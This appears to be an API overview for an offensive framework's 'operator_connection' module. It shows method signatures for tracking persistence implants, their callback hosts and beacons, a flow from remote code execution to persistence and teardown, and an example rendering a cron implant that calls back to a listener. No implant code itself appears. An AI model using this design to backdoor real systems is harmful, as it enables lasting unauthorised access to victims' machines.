Operator Connection — Overview (tools/operator_connection/)

class ConnectionManager:
    def __init__(self, workspace: Path) -> None: ...
    def create_connection(self, target_ip, method, callback_host, callback_port,
                          listener_name="", implant_path="", mitre_technique="",
                          os_family="", notes="") -> ConnectionRecord: ...
    def list_connections(self, target_ip: str = "") -> list[ConnectionRecord]: ...
    def get(self, connection_id: str) -> ConnectionRecord | None: ...
    def find_by_target_method(self, target_ip: str, method: str) -> list[ConnectionRecord]: ...
    def mark_beacon(self, connection_id: str) -> None: ...
    def mark_check(self, connection_id: str, output: str, healthy: bool) -> None: ...
    def mark_removed(self, connection_id: str) -> bool: ...
    def remove(self, connection_id: str) -> bool: ...
    def summary(self) -> str: ...

def get_connection_manager(workspace: Path | None = None) -> ConnectionManager: ...
def reset_connection_manager() -> None: ...

@dataclass(frozen=True)
class ImplantSpec:
    name: str
    os_family: str          # linux | windows | web | any
    description: str
    mitre_technique: str
    template: str           # {target_ip}/{callback_host}/{callback_port} placeholders
    verify_cmd: str
    remove_cmd: str
    requires_root: bool = False
    beacon_interval: str = "5m"

def get_implant(name: str) -> ImplantSpec | None: ...
def list_implants(os_filter: str = "") -> list[ImplantSpec]: ...
def render_implant(name: str, target_ip: str, callback_host: str = "",
                   callback_port: str = "4444") -> tuple[str, ImplantSpec]: ...

rce_exec gate (whoami; id; hostname) ──► dispatch via run_exploit_terminal
      │
      ▼
establish_persistence(method, callback) ──► implant script in attempt dir
      │                                      + auto listener + ConnectionRecord
      ▼
list_connections / check_connection (verify_cmd on victim, read_listener_output on operator)
      │
      ▼
remove_persistence ──► victim remove_cmd + record teardown (+ optional listener stop)

from tools.operator_connection import render_implant, get_connection_manager

script, spec = render_implant("linux_cron", "10.0.0.50",
                              callback_host="10.0.0.5", callback_port="4444")
mgr = get_connection_manager(Path("exploit_workspace/10.0.0.50"))
rec = mgr.create_connection("10.0.0.50", "linux_cron", "10.0.0.5", 4444,
                            implant_path="attempt_1/persist_linux_cron.py",
                            mitre_technique=spec.mitre_technique,
                            os_family=spec.os_family)
print(mgr.summary())